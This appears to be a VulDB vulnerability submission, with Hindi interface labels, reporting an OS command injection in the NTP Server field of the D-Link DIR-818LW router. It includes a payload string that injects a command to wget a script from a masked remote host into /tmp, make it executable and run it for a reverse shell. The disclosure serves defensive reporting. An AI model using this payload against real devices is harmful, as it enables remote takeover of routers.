| शीर्षक | D-LINK DIR-818LW HW:B1 OS Command Injection |
|---|
| विवरण | In the D-Link router model DIR-818LW, there is a Remote Code Execution (RCE) vulnerability located in the "Management > System Time" submenu, specifically in the "NTP Server" parameter. This field is intended to configure the server from which the router retrieves time synchronization data. However, it is possible to inject a malicious payload into this field, allowing the execution of arbitrary commands and ultimately achieving a reverse shell in Bash.
script: eixicgrg; (test -e /tmp/n.sh || wget http://xxx.xxx.xxx.xxx:xxxx/n.sh -O /tmp/n.sh; chmod 777 /tmp/n.sh; /tmp/n.sh &); |
|---|
| स्रोत | ⚠️ http://x.x.x.x/info/Login.html |
|---|
| उपयोगकर्ता | Havook (UID 71104) |
|---|
| सबमिशन | 12/07/2025 10:18 AM (1 वर्ष पहले) |
|---|
| संयम | 12/07/2025 08:44 PM (10 hours later) |
|---|
| स्थिति | स्वीकृत |
|---|
| VulDB प्रविष्टि | 316251 [D-Link DIR-818LW तक 20191215 System Time Page NTP Server अधिकार वृद्धि] |
|---|
| अंक | 20 |
|---|